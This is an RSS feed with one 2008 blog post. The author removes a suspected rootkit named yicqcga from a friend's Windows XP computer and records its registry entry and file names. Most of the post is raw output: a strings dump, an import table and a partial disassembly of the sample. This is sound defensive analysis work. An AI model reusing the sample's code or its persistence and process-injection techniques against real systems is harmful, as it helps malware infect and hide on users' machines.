<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>huanix &#187; rootkit</title>
	<atom:link href="http://www.huanix.com/tag/rootkit/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.huanix.com</link>
	<description>chown -R huanix /</description>
	<lastBuildDate>Sat, 31 Dec 2011 14:53:36 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Yicqcga running as a rootkit on XP?</title>
		<link>http://www.huanix.com/2008/08/30/yicqcga-running-as-a-rootkit-on-xp/</link>
		<comments>http://www.huanix.com/2008/08/30/yicqcga-running-as-a-rootkit-on-xp/#comments</comments>
		<pubDate>Sun, 31 Aug 2008 04:36:16 +0000</pubDate>
		<dc:creator>huanix</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[rootkit]]></category>

		<guid isPermaLink="false">http://www.huanix.com/?p=138</guid>
		<description><![CDATA[I&#8217;m cleaning up a woefully undermaintained XP box for my dear friend Keirstin, and after doing all the basic spyware/anti-virus stuff I&#8217;m still getting clear signs of a deeper problem, so I begin digging for rootkits. I downloaded the free sophos rootkit tool and it came up with 5 related entries that didn&#8217;t show up [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m cleaning up a woefully undermaintained XP box for my dear friend Keirstin, and after doing all the basic spyware/anti-virus stuff I&#8217;m still getting clear signs of a deeper problem, so I begin digging for rootkits. I downloaded the free sophos rootkit tool and it came up with 5 related entries that didn&#8217;t show up anywhere on the internets. The entries are all called yicqcga, which I&#8217;m guessing is transmitting info to an ICQ somewhere (based soley on the name).</p>
<p>I think I am completely rid of yicqcga now (i think) &#8211; I used the free avg rootkit tool to rename it, then i deleted the reg key and the files, and i also removed it from startup in msconfig. I may sniff network traffic for awhile to be completely done &#8211; but i think it&#8217;s gone.</p>
<p>The registry entry is too long to copy, but looks like: \HKEY_USERS\[string]\Software\Microsoft\Windows\CurrentVersion\Run\yicqa</p>
<p>The four files all in application data are:</p>
<ul>
<li>yicqga.exe</li>
<li>yicqga_nav.dat</li>
<li>yicq_navps.dat</li>
<li>yicqga.dat</li>
</ul>
<p>I&#8217;ll drop these on a CD for grins, and maybe look at them later. I wonder if anyone else has seen these?</p>
<p>Update: I&#8217;m looking at some of the .dat files.. I haven&#8217;t figured out much yet, except that the string &#8220;YUTETN&#8221; appears repeatedly.</p>
<table border="0" cellspacing="0" frame="void" rules="none">
<colgroup>
<col width="378"></col>
</colgroup>
<tbody>
<tr>
<td width="378" height="17" align="left">&#8230;-&#8230;&#8230;u.VirtualAlloc&#8230;.lstrlenA..</td>
</tr>
<tr>
<td height="17" align="left">..GetCommModemStatus&#8230;.RemoveDirectoryA&#8230;.Eras</td>
</tr>
<tr>
<td height="17" align="left">eTape.K.SuspendThread&#8230;_llseek&#8230;FindFirstFileA</td>
</tr>
<tr>
<td height="17" align="left">&#8230;.GetProfileIntA&#8230;.GetSystemInfo.:.LCMapStrin</td>
</tr>
<tr>
<td height="17" align="left">gA&#8230;.WriteProcessMemory..s.DebugBreak&#8230;.GetThr</td>
</tr>
<tr>
<td height="17" align="left">eadContext&#8230;.SetHandleCount&#8230;.FindFirstFileExW</td>
</tr>
<tr>
<td height="17" align="left">..^.TryEnterCriticalSection.w.GetModuleHandleA..</td>
</tr>
<tr>
<td height="17" align="left">..SetConsoleMode&#8230;.EnumTimeFormatsW..S.CreateIo</td>
</tr>
<tr>
<td height="17" align="left">CompletionPort&#8230;.FillConsoleOutputCharacterA&#8230;</td>
</tr>
<tr>
<td height="17" align="left">GetUserDefaultLangID&#8230;.PrepareTape&#8230;OutputDebu</td>
</tr>
<tr>
<td height="17" align="left">gStringW..L.SwitchToFiber.H.GetDiskFreeSpaceW&#8230;</td>
</tr>
<tr>
<td height="17" align="left">AllocConsole..:.GetCurrentProcess&#8230;lstrcpynA&#8230;</td>
</tr>
<tr>
<td height="17" align="left">GetSystemTimeAsFileTime&#8230;ReadConsoleA..].Create</td>
</tr>
<tr>
<td height="17" align="left">NamedPipeW..W.GetFileAttributesExA&#8230;.ReadFile..</td>
</tr>
<tr>
<td height="17" align="left">L.GetDriveTypeW&#8230;WriteConsoleOutputCharacterA..</td>
</tr>
<tr>
<td height="17" align="left">{.VirtualProtect..M.LoadResource..KERNEL32.dll..</td>
</tr>
<tr>
<td height="17" align="left">..ChangeClipboardChain&#8230;.DestroyAcceleratorTabl</td>
</tr>
<tr>
<td height="17" align="left">e.f.GetUserObjectInformationA.=.ChildWindowFromP</td>
</tr>
<tr>
<td height="17" align="left">ointEx&#8230;.ShowOwnedPopups.U.SetFocus..T.GetScrol</td>
</tr>
<tr>
<td height="17" align="left">lBarInfo..g.SetProcessWindowStation&#8230;GetCursor.</td>
</tr>
<tr>
<td height="17" align="left">..WaitForInputIdle&#8230;.MessageBeep&#8230;GetCaretBlin</td>
</tr>
<tr>
<td height="17" align="left">kTime&#8230;TrackMouseEvent.C.SetCapture&#8230;.Broadcas</td>
</tr>
<tr>
<td height="17" align="left">tSystemMessageW&#8230;MsgWaitForMultipleObjectsEx&#8230;</td>
</tr>
<tr>
<td height="17" align="left">DialogBoxParamW&#8230;LoadBitmapW&#8230;RedrawWindow&#8230;.</td>
</tr>
<tr>
<td height="17" align="left">HideCaret&#8230;ToUnicode&#8230;OemToCharBuffW&#8230;.Dialog</td>
</tr>
<tr>
<td height="17" align="left">BoxParamA&#8230;GetDCEx&#8230;IntersectRect.f.SetProcess</td>
</tr>
<tr>
<td height="17" align="left">DefaultLayout&#8230;CallWindowProcW.a.GetThreadDeskt</td>
</tr>
<tr>
<td height="17" align="left">op..&#8221;.GetKeyboardLayout&#8230;wvsprintfW..[.GetSysCo</td>
</tr>
<tr>
<td height="17" align="left">lorBrush....PeekMessageA....LoadCursorW.USER32.d</td>
</tr>
<tr>
<td height="17" align="left">ll....CloseEnhMetaFile..S.UpdateColors....PlayEn</td>
</tr>
<tr>
<td height="17" align="left">hMetaFile...GdiFlush....Ellipse...DeleteMetaFile</td>
</tr>
<tr>
<td height="17" align="left">..GDI32.dll...RegDeleteKeyW...RegEnumKeyExW...Ac</td>
</tr>
<tr>
<td height="17" align="left">cessCheck...CryptGetHashParam...CryptSetHashPara</td>
</tr>
<tr>
<td height="17" align="left">m...RegEnumKeyW...MakeAbsoluteSD....AddAce..&gt;.Is</td>
</tr>
<tr>
<td height="17" align="left">ValidSid..&gt;.CloseServiceHandle....RevertToSelf..</td>
</tr>
<tr>
<td height="17" align="left">..RegSetValueA....RegSaveKeyA...AddAccessAllowed</td>
</tr>
<tr>
<td height="17" align="left">Ace...GetFileSecurityA....RegCreateKeyW.&gt;.StartS</td>
</tr>
<tr>
<td height="17" align="left">erviceA.N.LookupPrivilegeValueW.9.IsTextUnicode.</td>
</tr>
<tr>
<td height="17" align="left">1.SetSecurityDescriptorOwner....GetSecurityDescr</td>
</tr>
<tr>
<td height="17" align="left">iptorControl....OpenSCManagerA....RegRestoreKeyW</td>
</tr>
<tr>
<td height="17" align="left">..ADVAPI32.dll....ShellExecuteA.SHELL32.dll.X.Co</td>
</tr>
<tr>
<td height="17" align="left">ResumeClassObjects....CoFileTimeNow.ole32.dll.OL</td>
</tr>
<tr>
<td height="17" align="left">EAUT32.dll..9.ImageList_DragEnter.E.ImageList_Ge</td>
</tr>
<tr>
<td height="17" align="left">tIcon.COMCTL32.dll..).PathFileExistsW...StrStrIW</td>
</tr>
<tr>
<td height="17" align="left">.PathFindFileNameA...StrDupA...SHSetValueA...</td>
</tr>
<tr>
<td height="17" align="left">SHRegGetUSValueW..%.PathCompactPathW..k.PathRemo</td>
</tr>
<tr>
<td height="17" align="left">veExtensionW..SHLWAPI.dll..._exit.H._XcptFilter.</td>
</tr>
<tr>
<td height="17" align="left">I.exit...._acmdln.X.__getmainargs..._initterm...</td>
</tr>
<tr>
<td height="17" align="left">__setusermatherr...._adjust_fdiv..j.__p__commode</td>
</tr>
<tr>
<td height="17" align="left">..o.__p__fmode....__set_app_type...._except_hand</td>
</tr>
<tr>
<td height="17" align="left">ler3..MSVCRT.dll...._controlfp....GetStartupInfo</td>
</tr>
</tbody>
</table>
<p>At the risk of an overkill, here's the disassembly of the executable yicqcga.exe</p>
<p>Disassembly of File: yicqcga.ex_</p>
<p>T.DateStamp = 44514643: Thu Apr 27 15:31:31 2006</p>
<p>Code Offset = 00001000, Code Size = 00001000 </p>
<p>Data Offset = 00003000, Data Size = 0004B000 </p>
<p>Number of Objects = 0003 (dec), Imagebase = 00400000h </p>
<p>   Object01:  .text   RVA: 00001000 Offset: 00001000 Size: 00001000 Flags: 60000020 </p>
<p>   Object02:  .rdata  RVA: 00002000 Offset: 00002000 Size: 00001000 Flags: 40000040 </p>
<p>   Object03:  .data   RVA: 00003000 Offset: 00003000 Size: 0004B000 Flags: C0000040 </p>
<p>+++++++++++++++++++ RESOURCE INFORMATION +++++++++++++++++++</p>
<p>        There are no Resources in This Application.</p>
<p>+++++++++++++++++++ IMPORTED FUNCTIONS +++++++++++++++++++</p>
<p>Number of Imported Modules =   10 (decimal)</p>
<p>   Import Module 001: KERNEL32.dll</p>
<p>   Import Module 002: USER32.dll</p>
<p>   Import Module 003: GDI32.dll</p>
<p>   Import Module 004: ADVAPI32.dll</p>
<p>   Import Module 005: SHELL32.dll</p>
<p>   Import Module 006: ole32.dll</p>
<p>   Import Module 007: OLEAUT32.dll</p>
<p>   Import Module 008: COMCTL32.dll</p>
<p>   Import Module 009: SHLWAPI.dll</p>
<p>   Import Module 010: MSVCRT.dll</p>
<p>+++++++++++++++++++ IMPORT MODULE DETAILS +++++++++++++++++</p>
<p>   Import Module 001: KERNEL32.dll </p>
<p>Addr:000027E4 hint(02AB) Name: ReadFile</p>
<p>Addr:000027F0 hint(014C) Name: GetDriveTypeW</p>
<p>Addr:00002800 hint(0393) Name: WriteConsoleOutputCharacterA</p>
<p>Addr:000027CC hint(0157) Name: GetFileAttributesExA</p>
<p>Addr:00002832 hint(024D) Name: LoadResource</p>
<p>Addr:000027B8 hint(005D) Name: CreateNamedPipeW</p>
<p>Addr:000027A8 hint(029F) Name: ReadConsoleA</p>
<p>Addr:0000278E hint(01C0) Name: GetSystemTimeAsFileTime</p>
<p>Addr:00002782 hint(03BC) Name: lstrcpynA</p>
<p>Addr:0000276E hint(013A) Name: GetCurrentProcess</p>
<p>Addr:0000275E hint(0009) Name: AllocConsole</p>
<p>Addr:0000274A hint(0148) Name: GetDiskFreeSpaceW</p>
<p>Addr:0000273A hint(034C) Name: SwitchToFiber</p>
<p>Addr:00002724 hint(0284) Name: OutputDebugStringW</p>
<p>Addr:00002716 hint(0289) Name: PrepareTape</p>
<p>Addr:000026FE hint(01DA) Name: GetUserDefaultLangID</p>
<p>Addr:000026E0 hint(00BE) Name: FillConsoleOutputCharacterA</p>
<p>Addr:000026C6 hint(0053) Name: CreateIoCompletionPort</p>
<p>Addr:000026B2 hint(00A8) Name: EnumTimeFormatsW</p>
<p>Addr:000026A0 hint(02F2) Name: SetConsoleMode</p>
<p>Addr:0000268C hint(0177) Name: GetModuleHandleA</p>
<p>Addr:00002672 hint(035E) Name: TryEnterCriticalSection</p>
<p>Addr:0000265E hint(00CB) Name: FindFirstFileExW</p>
<p>Addr:0000264C hint(0319) Name: SetHandleCount</p>
<p>Addr:00002638 hint(01CD) Name: GetThreadContext</p>
<p>Addr:0000262A hint(0073) Name: DebugBreak</p>
<p>Addr:00002614 hint(03A0) Name: WriteProcessMemory</p>
<p>Addr:00002604 hint(023A) Name: LCMapStringA</p>
<p>Addr:000025F4 hint(01BB) Name: GetSystemInfo</p>
<p>Addr:000025E2 hint(01A6) Name: GetProfileIntA</p>
<p>Addr:000025D0 hint(00C9) Name: FindFirstFileA</p>
<p>Addr:000025C6 hint(03AB) Name: _llseek</p>
<p>Addr:000025B6 hint(034B) Name: SuspendThread</p>
<p>Addr:000025AA hint(00AD) Name: EraseTape</p>
<p>Addr:00002596 hint(02BA) Name: RemoveDirectoryA</p>
<p>Addr:00002580 hint(0104) Name: GetCommModemStatus</p>
<p>Addr:00002574 hint(03BF) Name: lstrlenA</p>
<p>Addr:00002ED0 hint(01AF) Name: GetStartupInfoA</p>
<p>Addr:00002820 hint(037B) Name: VirtualProtect</p>
<p>Addr:00002564 hint(0375) Name: VirtualAlloc</p>
<p>   Import Module 002: USER32.dll </p>
<p>Addr:000029BE hint(0214) Name: RedrawWindow</p>
<p>Addr:000029B0 hint(01B8) Name: LoadBitmapW</p>
<p>Addr:0000289E hint(003D) Name: ChildWindowFromPointEx</p>
<p>Addr:000028B8 hint(028E) Name: ShowOwnedPopups</p>
<p>Addr:000028CA hint(0255) Name: SetFocus</p>
<p>Addr:000028D6 hint(0154) Name: GetScrollBarInfo</p>
<p>Addr:000028EA hint(0267) Name: SetProcessWindowStation</p>
<p>Addr:00002882 hint(0166) Name: GetUserObjectInformationA</p>
<p>Addr:00002868 hint(0093) Name: DestroyAcceleratorTable</p>
<p>Addr:00002850 hint(001F) Name: ChangeClipboardChain</p>
<p>Addr:00002904 hint(0108) Name: GetCursor</p>
<p>Addr:00002910 hint(02CC) Name: WaitForInputIdle</p>
<p>Addr:00002924 hint(01DD) Name: MessageBeep</p>
<p>Addr:00002932 hint(00F4) Name: GetCaretBlinkTime</p>
<p>Addr:00002946 hint(02A2) Name: TrackMouseEvent</p>
<p>Addr:00002958 hint(0243) Name: SetCapture</p>
<p>Addr:00002966 hint(0014) Name: BroadcastSystemMessageW</p>
<p>Addr:00002980 hint(01ED) Name: MsgWaitForMultipleObjectsEx</p>
<p>Addr:000029CE hint(017F) Name: HideCaret</p>
<p>Addr:000029DA hint(02A0) Name: ToUnicode</p>
<p>Addr:000029E6 hint(01F2) Name: OemToCharBuffW</p>
<p>Addr:000029F8 hint(009E) Name: DialogBoxParamA</p>
<p>Addr:00002A0A hint(010D) Name: GetDCEx</p>
<p>Addr:00002A14 hint(0192) Name: IntersectRect</p>
<p>Addr:00002A24 hint(0266) Name: SetProcessDefaultLayout</p>
<p>Addr:00002A3E hint(001C) Name: CallWindowProcW</p>
<p>Addr:00002A50 hint(0161) Name: GetThreadDesktop</p>
<p>Addr:00002A64 hint(0122) Name: GetKeyboardLayout</p>
<p>Addr:00002A78 hint(02D8) Name: wvsprintfW</p>
<p>Addr:00002A86 hint(015B) Name: GetSysColorBrush</p>
<p>Addr:00002A9A hint(01FF) Name: PeekMessageA</p>
<p>Addr:0000299E hint(009F) Name: DialogBoxParamW</p>
<p>Addr:00002AAA hint(01BC) Name: LoadCursorW</p>
<p>   Import Module 003: GDI32.dll </p>
<p>Addr:00002B10 hint(008E) Name: DeleteMetaFile</p>
<p>Addr:00002B06 hint(0094) Name: Ellipse</p>
<p>Addr:00002AFA hint(011B) Name: GdiFlush</p>
<p>Addr:00002AE8 hint(01E0) Name: PlayEnhMetaFile</p>
<p>Addr:00002AC4 hint(001C) Name: CloseEnhMetaFile</p>
<p>Addr:00002AD8 hint(0253) Name: UpdateColors</p>
<p>   Import Module 004: ADVAPI32.dll </p>
<p>Addr:00002BD0 hint(020B) Name: RevertToSelf</p>
<p>Addr:00002C70 hint(0231) Name: SetSecurityDescriptorOwner</p>
<p>Addr:00002C60 hint(0139) Name: IsTextUnicode</p>
<p>Addr:00002CC0 hint(01F2) Name: RegRestoreKeyW</p>
<p>Addr:00002CAE hint(01AB) Name: OpenSCManagerA</p>
<p>Addr:00002B2C hint(01D1) Name: RegDeleteKeyW</p>
<p>Addr:00002B3C hint(01D7) Name: RegEnumKeyExW</p>
<p>Addr:00002B4C hint(0005) Name: AccessCheck</p>
<p>Addr:00002B5A hint(0099) Name: CryptGetHashParam</p>
<p>Addr:00002B6E hint(00A1) Name: CryptSetHashParam</p>
<p>Addr:00002B82 hint(01D8) Name: RegEnumKeyW</p>
<p>Addr:00002B90 hint(0196) Name: MakeAbsoluteSD</p>
<p>Addr:00002BA2 hint(0016) Name: AddAce</p>
<p>Addr:00002BAC hint(013E) Name: IsValidSid</p>
<p>Addr:00002BBA hint(003E) Name: CloseServiceHandle</p>
<p>Addr:00002C48 hint(014E) Name: LookupPrivilegeValueW</p>
<p>Addr:00002BE0 hint(01F8) Name: RegSetValueA</p>
<p>Addr:00002BF0 hint(01F3) Name: RegSaveKeyA</p>
<p>Addr:00002BFE hint(0010) Name: AddAccessAllowedAce</p>
<p>Addr:00002C14 hint(00EF) Name: GetFileSecurityA</p>
<p>Addr:00002C28 hint(01CF) Name: RegCreateKeyW</p>
<p>Addr:00002C38 hint(023E) Name: StartServiceA</p>
<p>Addr:00002C8E hint(0107) Name: GetSecurityDescriptorControl</p>
<p>   Import Module 005: SHELL32.dll </p>
<p>Addr:00002CE0 hint(0107) Name: ShellExecuteA</p>
<p>   Import Module 006: ole32.dll </p>
<p>Addr:00002CFC hint(0058) Name: CoResumeClassObjects</p>
<p>Addr:00002D14 hint(0018) Name: CoFileTimeNow</p>
<p>   Import Module 007: OLEAUT32.dll </p>
<p>Addr:8000000F hint(000F) Name: OLEAUT32:NoName0000</p>
<p>Addr:80000014 hint(0014) Name: OLEAUT32:NoName0001</p>
<p>Addr:80000004 hint(0004) Name: OLEAUT32:NoName0002</p>
<p>Addr:800000C9 hint(00C9) Name: OLEAUT32:NoName0003</p>
<p>Addr:8000000C hint(000C) Name: OLEAUT32:NoName0004</p>
<p>   Import Module 008: COMCTL32.dll </p>
<p>Addr:00002D52 hint(0045) Name: ImageList_GetIcon</p>
<p>Addr:00002D3C hint(0039) Name: ImageList_DragEnter</p>
<p>   Import Module 009: SHLWAPI.dll </p>
<p>Addr:00002D92 hint(002C) Name: PathFindFileNameA</p>
<p>Addr:00002DA6 hint(00E5) Name: StrDupA</p>
<p>Addr:00002DB0 hint(00C9) Name: SHSetValueA</p>
<p>Addr:00002DBE hint(00B7) Name: SHRegGetUSValueW</p>
<p>Addr:00002DD2 hint(0025) Name: PathCompactPathW</p>
<p>Addr:00002DE6 hint(006B) Name: PathRemoveExtensionW</p>
<p>Addr:00002D74 hint(0029) Name: PathFileExistsW</p>
<p>Addr:00002D86 hint(0103) Name: StrStrIW</p>
<p>   Import Module 010: MSVCRT.dll </p>
<p>Addr:00002EA2 hint(00CA) Name: _except_handler3</p>
<p>Addr:00002E90 hint(0081) Name: __set_app_type</p>
<p>Addr:00002E82 hint(006F) Name: __p__fmode</p>
<p>Addr:00002E72 hint(006A) Name: __p__commode</p>
<p>Addr:00002E62 hint(009D) Name: _adjust_fdiv</p>
<p>Addr:00002E4E hint(0083) Name: __setusermatherr</p>
<p>Addr:00002E42 hint(010F) Name: _initterm</p>
<p>Addr:00002E32 hint(0058) Name: __getmainargs</p>
<p>Addr:00002E28 hint(008F) Name: _acmdln</p>
<p>Addr:00002E20 hint(0249) Name: exit</p>
<p>Addr:00002E12 hint(0048) Name: _XcptFilter</p>
<p>Addr:00002E0A hint(00D3) Name: _exit</p>
<p>Addr:00002EC2 hint(00B7) Name: _controlfp</p>
<p>+++++++++++++++++++ EXPORTED FUNCTIONS +++++++++++++++++++</p>
<p>Number of Exported Functions =    0 (decimal)</p>
<p>+++++++++++++++++++ Possible Strings Inside Code Block +++++++++++++++++++ </p>
<p>:004014FE....NullString..z,N`^</p>
<p>+++++++++++++++++++ DEBUG SYMBOLS LISTING +++++++++++++++++++ </p>
<p>Trying to load with base = 00400000</p>
<p>ImageSize		: 319488 </p>
<p>NumSyms			: 1 </p>
<p>SymType			: No symbols are loaded </p>
<p>ModuleName		: yicqcga.ex_</p>
<p>ImageName		: yicqcga.ex_</p>
<p>LoadedImageName	: E:\yicqga\yicqcga.ex_</p>
<p>LoadedImageBase : 00400000</p>
<p>+++++++++++++++++++ ASSEMBLY CODE LISTING +++++++++++++++++++</p>
<p>//********************** Start of Code in Object CODE **************</p>
<p>Program Entry Point = 00401AB0 (yicqcga.ex_ File Offset:00001000)</p>
<p>=========</p>
<p>:00401000 8B442404                mov eax, dword[esp+04]</p>
<p>:00401004 83C0FE                  add eax, -002</p>
<p>:00401007 C3                      ret</p>
<p>:00401008 90 90 90 90 90 90 90 90                           &#8230;&#8230;..</p>
<p>=========</p>
<p>:00401010 8B4C2404                mov ecx, dword[esp+04]</p>
<p>:00401014 56                      push esi</p>
<p>:00401015 8BC1                    mov eax, ecx</p>
<p>:00401017 33D2                    xor edx, edx</p>
<p>:00401019 BE101B942B              mov esi, 2B941B10</p>
<p>:0040101E F7F6                    div esi</p>
<p>:00401020 5E                      pop esi</p>
<p>:00401021 8BC2                    mov eax, edx</p>
<p>:00401023 2BC1                    sub eax, ecx</p>
<p>:00401025 0534178B06              add eax, 068B1734</p>
<p>:0040102A C3                      ret</p>
<p>:0040102B 90 90 90 90 90                                    &#8230;..</p>
<p>=========</p>
<p>:00401030 8B442404                mov eax, dword[esp+04]</p>
<p>:00401034 48                      dec eax</p>
<p>:00401035 0FAFC0                  imul eax, eax</p>
<p>:00401038 C3                      ret</p>
<p>:00401039 90 90 90 90 90 90 90                              &#8230;&#8230;.</p>
<p>=========</p>
<p>:00401040 8B442404                mov eax, dword[esp+04]</p>
<p>:00401044 8D48FF                  lea ecx, dword[eax-01]</p>
<p>:00401047 8BC1                    mov eax, ecx</p>
<p>:00401049 C1E819                  shr eax, 19</p>
<p>:0040104C C1E107                  shl ecx, 07</p>
<p>:0040104F 0BC1                    or eax, ecx</p>
<p>:00401051 C3                      ret</p>
<p>:00401052 90 90 90 90 90 90 90 90 90 90 90 90 90 90         &#8230;&#8230;&#8230;&#8230;..</p>
<p>=========</p>
<p>:00401060 56                      push esi</p>
<p>:00401061 8B742408                mov esi, dword[esp+08]</p>
<p>:00401065 57                      push edi</p>
<p>:00401066 56                      push esi</p>
<p>:00401067 E8C4FFFFFF              call 00401030</p>
<p>:0040106C 8BC8                    mov ecx, eax</p>
<p>:0040106E 8BC6                    mov eax, esi</p>
<p>:00401070 33D2                    xor edx, edx</p>
<p>:00401072 BFEA62F5BF              mov edi, BFF562EA</p>
<p>:00401077 F7F7                    div edi</p>
<p>:00401079 83C404                  add esp, 004</p>
<p>:0040107C 5F                      pop edi</p>
<p>:0040107D 0FAFCA                  imul ecx, edx</p>
<p>:00401080 4E                      dec esi</p>
<p>:00401081 0FAFCE                  imul ecx, esi</p>
<p>:00401084 8BC1                    mov eax, ecx</p>
<p>:00401086 5E                      pop esi</p>
<p>:00401087 C3                      ret</p>
<p>:00401088 90 90 90 90 90 90 90 90                           &#8230;&#8230;..</p>
<p>=========</p>
<p>:00401090 56                      push esi</p>
<p>:00401091 8B742408                mov esi, dword[esp+08]</p>
<p>:00401095 57                      push edi</p>
<p>:00401096 56                      push esi</p>
<p>:00401097 E864FFFFFF              call 00401000</p>
<p>:0040109C 56                      push esi</p>
<p>:0040109D 8BF8                    mov edi, eax</p>
<p>:0040109F E86CFFFFFF              call 00401010</p>
<p>:004010A4 8BC8                    mov ecx, eax</p>
<p>:004010A6 83C408                  add esp, 008</p>
<p>:004010A9 0FAFCF                  imul ecx, edi</p>
<p>:004010AC 8BC1                    mov eax, ecx</p>
<p>:004010AE 5F                      pop edi</p>
<p>:004010AF C1E01D                  shl eax, 1D</p>
<p>:004010B2 C1E903                  shr ecx, 03</p>
<p>:004010B5 0BC1                    or eax, ecx</p>
<p>:004010B7 5E                      pop esi</p>
<p>:004010B8 C3                      ret</p>
<p>:004010B9 90 90 90 90 90 90 90                              &#8230;&#8230;.</p>
<p>=========</p>
<p>:004010C0 56                      push esi</p>
<p>:004010C1 8B742408                mov esi, dword[esp+08]</p>
<p>:004010C5 8BC6                    mov eax, esi</p>
<p>:004010C7 8BCE                    mov ecx, esi</p>
<p>:004010C9 C1E016                  shl eax, 16</p>
<p>:004010CC C1E90A                  shr ecx, 0A</p>
<p>:004010CF 0BC1                    or eax, ecx</p>
<p>:004010D1 8BCE                    mov ecx, esi</p>
<p>:004010D3 69C9D0C1519B            imul ecx, 9B51C1D0</p>
<p>:004010D9 85C9                    test ecx, ecx</p>
<p>:004010DB 7406                    je 004010E3</p>
<p>:004010DD 33D2                    xor edx, edx</p>
<p>:004010DF F7F1                    div ecx</p>
<p>:004010E1 8BC2                    mov eax, edx</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:004010E3 8BCE                    mov ecx, esi</p>
<p>:004010E5 8BD6                    mov edx, esi</p>
<p>:004010E7 C1E916                  shr ecx, 16</p>
<p>:004010EA C1E20A                  shl edx, 0A</p>
<p>:004010ED 0BCA                    or ecx, edx</p>
<p>:004010EF 2BCE                    sub ecx, esi</p>
<p>:004010F1 5E                      pop esi</p>
<p>:004010F2 41                      inc ecx</p>
<p>:004010F3 0FAFC8                  imul ecx, eax</p>
<p>:004010F6 8BC1                    mov eax, ecx</p>
<p>:004010F8 C1E819                  shr eax, 19</p>
<p>:004010FB C1E107                  shl ecx, 07</p>
<p>:004010FE 0BC1                    or eax, ecx</p>
<p>:00401100 C3                      ret</p>
<p>:00401101 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90      &#8230;&#8230;&#8230;&#8230;&#8230;</p>
<p>=========</p>
<p>:00401110 53                      push ebx</p>
<p>:00401111 8B5C2408                mov ebx, dword[esp+08]</p>
<p>:00401115 8BC3                    mov eax, ebx</p>
<p>:00401117 33D2                    xor edx, edx</p>
<p>:00401119 B9D2D87A28              mov ecx, 287AD8D2</p>
<p>:0040111E 56                      push esi</p>
<p>:0040111F F7F1                    div ecx</p>
<p>:00401121 57                      push edi</p>
<p>:00401122 53                      push ebx</p>
<p>:00401123 8BF2                    mov esi, edx</p>
<p>:00401125 E816FFFFFF              call 00401040</p>
<p>:0040112A 8BD6                    mov edx, esi</p>
<p>:0040112C 8BF8                    mov edi, eax</p>
<p>:0040112E C1EA1C                  shr edx, 1C</p>
<p>:00401131 C1E604                  shl esi, 04</p>
<p>:00401134 0BD6                    or edx, esi</p>
<p>:00401136 53                      push ebx</p>
<p>:00401137 0FAFFA                  imul edi, edx</p>
<p>:0040113A E821FFFFFF              call 00401060</p>
<p>:0040113F 0FAFC7                  imul eax, edi</p>
<p>:00401142 83C408                  add esp, 008</p>
<p>:00401145 5F                      pop edi</p>
<p>:00401146 5E                      pop esi</p>
<p>:00401147 5B                      pop ebx</p>
<p>:00401148 C3                      ret</p>
<p>:00401149 90 90 90 90 90 90 90 55 8B EC 83 EC 40 53 56 57   &#8230;&#8230;.U&#8230;.@SVW</p>
<p>:00401159 C7 45 DC 3A 4E 00 00 8B 45 DC 3D                  .E.:N&#8230;E.=</p>
<p>:00401164 C21900                  ret 0019</p>
<p>:00401167 00 0F 87 D6 03 00 00 6E E8 34 C6 C6 00 AE B6 E6   &#8230;&#8230;.n.4&#8230;&#8230;</p>
<p>:00401177 00 48 54 60 F8 5A 98 F2 1C D4 1C BA 22 86 8A 9E   .HT`.Z&#8230;&#8230;&#8221;&#8230;</p>
<p>:00401187 72 EA 76 36 D0 EE F8 56 6C 0C 9A 82 00 F0 BA A0   r.v6&#8230;Vl&#8230;&#8230;.</p>
<p>:00401197 36 88 A4 00 A0 00 12 A4 00 52 5A A0 24 D8 F8 00   6&#8230;&#8230;..RZ.$&#8230;</p>
<p>:004011A7 32 00 FA F6 4A A4 00 6E 9E B6 00 62 00 FC         2&#8230;J..n&#8230;b..</p>
<p>:004011B5 6806A400EA              push EA00A406</p>
<p>:004011BA 700C                    jo 004011C8</p>
<p>:004011BC 52                      push edx</p>
<p>:004011BD 36B46A                  mov ah, 6A</p>
<p>:004011C0 26CE                    into</p>
<p>:004011C2 8A44F040                mov al, byte[eax+8*esi+40]</p>
<p>:004011C6 E000                    loopne 004011C8</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:004011C8 96                      xchg eax, esi</p>
<p>:004011C9 00FE                    add dh, bh</p>
<p>:004011CB 180E                    sbb byte[esi], cl</p>
<p>:004011CD 98                      cbw</p>
<p>:004011CE 42                      inc edx</p>
<p>:004011CF 80C26E                  add dl, 6E</p>
<p>:004011D2 9C                      pushfd</p>
<p>:004011D3 0014FC                  add byte[esp+8*edi], dl</p>
<p>:004011D6 DA00                    fiadd dword[eax]</p>
<p>:004011D8 187E00                  sbb byte[esi+00], bh</p>
<p>:004011DB 0800                    or byte[eax], al</p>
<p>:004011DD 16                      push ss</p>
<p>:004011DE F8                      clc</p>
<p>:004011DF 002470                  add byte[eax+2*esi], ah</p>
<p>:004011E2 98                      cbw</p>
<p>:004011E3 26C2946C                ret 6C94</p>
<p>:004011E7 F6 00 50 16 C8 F6 00 DC 9E DA 72 D8 00 E2 42 C4   ..P&#8230;&#8230;.r&#8230;B.</p>
<p>:004011F7 BA 9A A2 56 DA 80 40 5C 0C 56 A0 F6 62 6A 00 A6   &#8230;V..@\.V..bj..</p>
<p>:00401207 86 E8 00 34 30 FA 70 B4 00 64 00 A8 C4 00 3E 04   &#8230;40.p..d&#8230;.>.</p>
<p>:00401217 16 98 A2 00 96 08 04 00 10 00 00 E0 00 DA 40 5A   &#8230;&#8230;&#8230;&#8230;..@Z</p>
<p>:00401227 5E 00 1A B8 B4 00 1C D0 42 02 00 7C 74 D6 B6 36   ^&#8230;&#8230;.B..|t..6</p>
<p>:00401237 4C DE 00 BE 00 00 74 6C 8E 0A 8E 26 50 3C A2 24   L&#8230;..tl&#8230;&#038;P<.$</p>
